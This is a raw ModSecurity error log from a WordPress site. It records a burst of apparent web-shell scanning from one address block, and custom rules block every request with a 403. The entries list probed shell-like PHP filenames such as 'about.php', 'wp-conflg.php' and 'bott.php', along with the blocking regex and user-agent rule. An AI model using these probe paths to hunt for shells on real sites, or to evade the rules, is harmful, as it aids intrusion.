[Mon May 25 23:13:16.485141 2026] [:error] [pid 62426:tid 62446] [client 194.5.82.42:55569] [client 194.5.82.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/query-pagination-previous/wp-login.php"] [unique_id "ahRnDEj3D3Mo8ANpTRA0JQAAABA"]
[Mon May 25 23:13:16.698818 2026] [:error] [pid 62426:tid 62430] [client 194.5.82.14:32613] [client 194.5.82.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/rss/wp-login.php"] [unique_id "ahRnDEj3D3Mo8ANpTRA0KAAAAAA"]
[Mon May 25 23:13:16.913772 2026] [:error] [pid 62426:tid 62450] [client 194.5.82.44:60487] [client 194.5.82.44] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/dist/script-modules/block-library/search/"] [unique_id "ahRnDEj3D3Mo8ANpTRA0KgAAABQ"]
[Mon May 25 23:13:17.181191 2026] [:error] [pid 62426:tid 62437] [client 194.5.82.25:24135] [client 194.5.82.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentytwo/assets/"] [unique_id "ahRnDUj3D3Mo8ANpTRA0LQAAAAc"]
[Mon May 25 23:13:17.392403 2026] [:error] [pid 62722:tid 62748] [client 194.5.82.39:33209] [client 194.5.82.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/"] [unique_id "ahRnDaM6ssnLWYf6CVBfgwAAAFg"]
[Mon May 25 23:13:17.605900 2026] [:error] [pid 62515:tid 62521] [client 194.5.82.46:35433] [client 194.5.82.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentytwo/assets/about.php"] [unique_id "ahRnDRig0_XsOwmnrv9pLgAAAMQ"]
[Mon May 25 23:13:17.818253 2026] [:error] [pid 62515:tid 62527] [client 194.5.82.34:51181] [client 194.5.82.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/query-title/about.php"] [unique_id "ahRnDRig0_XsOwmnrv9pLwAAAMo"]
[Mon May 25 23:13:18.033504 2026] [:error] [pid 62515:tid 62538] [client 194.5.82.52:37417] [client 194.5.82.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Exception/wp-login.php"] [unique_id "ahRnDhig0_XsOwmnrv9pMAAAANU"]
[Mon May 25 23:13:18.273132 2026] [:error] [pid 62722:tid 62741] [client 194.5.82.15:47475] [client 194.5.82.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/rss/about.php"] [unique_id "ahRnDqM6ssnLWYf6CVBfhAAAAFE"]
[Mon May 25 23:13:18.486287 2026] [:error] [pid 62428:tid 62488] [client 194.5.82.31:31927] [client 194.5.82.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/src/Core/wp-login.php"] [unique_id "ahRnDpNosGBa7mui3VR7yAAAAIQ"]
[Mon May 25 23:13:18.697886 2026] [:error] [pid 62722:tid 62725] [client 194.5.82.35:55625] [client 194.5.82.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentytwo/templates/about.php"] [unique_id "ahRnDqM6ssnLWYf6CVBfhQAAAEE"]
[Mon May 25 23:13:18.909436 2026] [:error] [pid 3698:tid 3715] [client 194.5.82.10:42631] [client 194.5.82.10] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/query-title/"] [unique_id "ahRnDgtZBEwA4fyFLKMJ8QAAAQ8"]
[Mon May 25 23:13:19.121728 2026] [:error] [pid 62515:tid 62522] [client 194.5.82.48:36095] [client 194.5.82.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/wp-login.php"] [unique_id "ahRnDxig0_XsOwmnrv9pMgAAAMU"]
[Mon May 25 23:13:19.372445 2026] [:error] [pid 62426:tid 62446] [client 194.5.82.28:63301] [client 194.5.82.28] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/rss/"] [unique_id "ahRnD0j3D3Mo8ANpTRA0MwAAABA"]
[Mon May 25 23:13:19.583118 2026] [:error] [pid 62428:tid 62508] [client 194.5.82.33:55747] [client 194.5.82.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/src/Core/about.php"] [unique_id "ahRnD5NosGBa7mui3VR7ywAAAJg"]
[Mon May 25 23:13:19.800964 2026] [:error] [pid 62428:tid 62497] [client 194.5.82.39:31845] [client 194.5.82.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/pullquote/wp-login.php"] [unique_id "ahRnD5NosGBa7mui3VR7zAAAAI0"]
[Mon May 25 23:13:20.013090 2026] [:error] [pid 62428:tid 62506] [client 194.5.82.53:62623] [client 194.5.82.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/query-title/wp-login.php"] [unique_id "ahRnEJNosGBa7mui3VR7zgAAAJY"]
[Mon May 25 23:13:20.273908 2026] [:error] [pid 62427:tid 62473] [client 194.5.82.5:60469] [client 194.5.82.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/about.php"] [unique_id "ahRnEPMUa83fc4GDyByP_AAAAVA"]
[Mon May 25 23:13:20.495588 2026] [:error] [pid 62427:tid 62459] [client 194.5.82.40:53211] [client 194.5.82.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/query-pagination-previous/about.php"] [unique_id "ahRnEPMUa83fc4GDyByP_QAAAUI"]
[Mon May 25 23:13:20.906340 2026] [:error] [pid 62722:tid 62743] [client 194.5.82.23:55119] [client 194.5.82.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/comment-date/about.php"] [unique_id "ahRnEKM6ssnLWYf6CVBfjAAAAFM"]
[Mon May 25 23:13:21.305710 2026] [:error] [pid 62722:tid 62746] [client 194.5.82.17:40215] [client 194.5.82.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/library/SimplePie/Parse/wp-login.php"] [unique_id "ahRnEaM6ssnLWYf6CVBfjwAAAFY"]
[Mon May 25 23:13:21.519313 2026] [:error] [pid 62722:tid 62730] [client 194.5.82.33:48677] [client 194.5.82.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/pullquote/about.php"] [unique_id "ahRnEaM6ssnLWYf6CVBfkAAAAEY"]
[Mon May 25 23:13:21.733087 2026] [:error] [pid 62722:tid 62739] [client 194.5.82.45:40563] [client 194.5.82.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/preformatted/about.php"] [unique_id "ahRnEaM6ssnLWYf6CVBfkgAAAE8"]
[Mon May 25 23:13:21.974420 2026] [:error] [pid 62515:tid 62540] [client 194.5.82.19:59485] [client 194.5.82.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/about.php"] [unique_id "ahRnERig0_XsOwmnrv9pNAAAANc"]
[Mon May 25 23:13:22.185985 2026] [:error] [pid 62428:tid 62507] [client 194.5.82.42:57537] [client 194.5.82.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/query-title/istsgd.php"] [unique_id "ahRnEpNosGBa7mui3VR7zwAAAJc"]
[Mon May 25 23:13:22.397159 2026] [:error] [pid 62722:tid 62736] [client 194.5.82.7:34413] [client 194.5.82.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/code/about.php"] [unique_id "ahRnEqM6ssnLWYf6CVBflAAAAEw"]
[Mon May 25 23:13:22.612579 2026] [:error] [pid 62515:tid 62519] [client 194.5.82.4:20027] [client 194.5.82.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/social-links/wp-login.php"] [unique_id "ahRnEhig0_XsOwmnrv9pNgAAAMI"]
[Mon May 25 23:13:22.824726 2026] [:error] [pid 53791:tid 53793] [client 194.5.82.48:43597] [client 194.5.82.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/library/SimplePie/Parse/about.php"] [unique_id "ahRnEiCRhhNTD40Nf1U4OQAAAYA"]
[Mon May 25 23:13:23.068999 2026] [:error] [pid 62515:tid 62524] [client 194.5.82.13:27679] [client 194.5.82.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/preformatted/wp-login.php"] [unique_id "ahRnExig0_XsOwmnrv9pOAAAAMc"]
[Mon May 25 23:13:23.281858 2026] [:error] [pid 3698:tid 3710] [client 194.5.82.25:21515] [client 194.5.82.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentytwo/templates/"] [unique_id "ahRnEwtZBEwA4fyFLKMJ9gAAAQo"]
[Mon May 25 23:13:23.722399 2026] [:error] [pid 53791:tid 53803] [client 194.5.82.16:44279] [client 194.5.82.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/social-links/"] [unique_id "ahRnEyCRhhNTD40Nf1U4PAAAAYo"]
[Mon May 25 23:13:23.977113 2026] [:error] [pid 62426:tid 62449] [client 194.5.82.36:20583] [client 194.5.82.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/query-pagination-previous/"] [unique_id "ahRnE0j3D3Mo8ANpTRA0OgAAABM"]
[Mon May 25 23:13:24.187034 2026] [:error] [pid 62515:tid 62533] [client 194.5.82.31:20273] [client 194.5.82.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/library/SimplePie/Parse/"] [unique_id "ahRnFBig0_XsOwmnrv9pOgAAANA"]
[Mon May 25 23:13:24.398393 2026] [:error] [pid 62426:tid 62437] [client 194.5.82.18:28389] [client 194.5.82.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/social-links/about.php"] [unique_id "ahRnFEj3D3Mo8ANpTRA0PQAAAAc"]
[Mon May 25 23:13:24.610558 2026] [:error] [pid 62722:tid 62724] [client 194.5.82.15:32591] [client 194.5.82.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/dist/script-modules/block-library/search/about.php"] [unique_id "ahRnFKM6ssnLWYf6CVBflgAAAEA"]
[Mon May 25 23:13:24.823592 2026] [:error] [pid 62428:tid 62491] [client 194.5.82.30:26413] [client 194.5.82.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-site-edit.php"] [unique_id "ahRnFJNosGBa7mui3VR70AAAAIc"]
[Mon May 25 23:13:25.034890 2026] [:error] [pid 62428:tid 62498] [client 194.5.82.38:58427] [client 194.5.82.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentynineteen/sass/site/header/"] [unique_id "ahRnFZNosGBa7mui3VR70QAAAI4"]
[Mon May 25 23:13:25.272283 2026] [:error] [pid 3698:tid 3711] [client 194.5.82.43:57193] [client 194.5.82.43] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/includes/media-time.php"] [unique_id "ahRnFQtZBEwA4fyFLKMJ-AAAAQs"]
[Mon May 25 23:13:25.483287 2026] [:error] [pid 62428:tid 62484] [client 194.5.82.37:63283] [client 194.5.82.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/veq/aaa.php"] [unique_id "ahRnFZNosGBa7mui3VR70wAAAIA"]
[Mon May 25 23:13:25.700778 2026] [:error] [pid 3698:tid 3718] [client 194.5.82.34:64369] [client 194.5.82.34] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-featured-image/"] [unique_id "ahRnFQtZBEwA4fyFLKMJ-gAAARI"]
[Mon May 25 23:13:26.113792 2026] [:error] [pid 62722:tid 62731] [client 194.5.82.50:21169] [client 194.5.82.50] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/riode/inc/add-on/live-search/"] [unique_id "ahRnFqM6ssnLWYf6CVBfmQAAAEc"]
[Mon May 25 23:13:26.499456 2026] [:error] [pid 62722:tid 62743] [client 194.5.82.41:35965] [client 194.5.82.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentyfive/assets/fonts/literata/"] [unique_id "ahRnFqM6ssnLWYf6CVBfnQAAAFM"]
[Mon May 25 23:13:26.738097 2026] [:error] [pid 3698:tid 3721] [client 194.5.82.14:61739] [client 194.5.82.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-author-name/"] [unique_id "ahRnFgtZBEwA4fyFLKMJ-wAAARU"]
[Mon May 25 23:13:26.975384 2026] [:error] [pid 62515:tid 62523] [client 194.5.82.7:21055] [client 194.5.82.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/term-description/"] [unique_id "ahRnFhig0_XsOwmnrv9pPQAAAMY"]
[Mon May 25 23:13:27.185478 2026] [:error] [pid 3698:tid 3723] [client 194.5.82.17:52325] [client 194.5.82.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/shortcode/"] [unique_id "ahRnFwtZBEwA4fyFLKMJ_AAAARc"]
[Mon May 25 23:13:27.399103 2026] [:error] [pid 62428:tid 62490] [client 194.5.82.35:53273] [client 194.5.82.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/math/"] [unique_id "ahRnF5NosGBa7mui3VR71gAAAIY"]
[Mon May 25 23:13:27.620670 2026] [:error] [pid 62426:tid 62438] [client 194.5.82.9:60063] [client 194.5.82.9] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Utility/"] [unique_id "ahRnF0j3D3Mo8ANpTRA0QQAAAAg"]
[Mon May 25 23:13:27.832176 2026] [:error] [pid 62515:tid 62541] [client 194.5.82.16:21495] [client 194.5.82.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/crop/index.php"] [unique_id "ahRnFxig0_XsOwmnrv9pQQAAANg"]
[Mon May 25 23:13:28.074135 2026] [:error] [pid 62515:tid 62536] [client 194.5.82.10:35813] [client 194.5.82.10] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/"] [unique_id "ahRnGBig0_XsOwmnrv9pQgAAANM"]
[Mon May 25 23:13:28.286959 2026] [:error] [pid 62426:tid 62444] [client 194.5.82.25:52687] [client 194.5.82.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/abilities-api/wp-conflg.php"] [unique_id "ahRnGEj3D3Mo8ANpTRA0RAAAAA4"]
[Mon May 25 23:13:28.498570 2026] [:error] [pid 62426:tid 62454] [client 194.5.82.33:31793] [client 194.5.82.33] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/class-wp-image.php"] [unique_id "ahRnGEj3D3Mo8ANpTRA0RgAAABg"]
[Mon May 25 23:13:28.713154 2026] [:error] [pid 62515:tid 62522] [client 194.5.82.25:58889] [client 194.5.82.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/bott.php"] [unique_id "ahRnGBig0_XsOwmnrv9pQwAAAMU"]
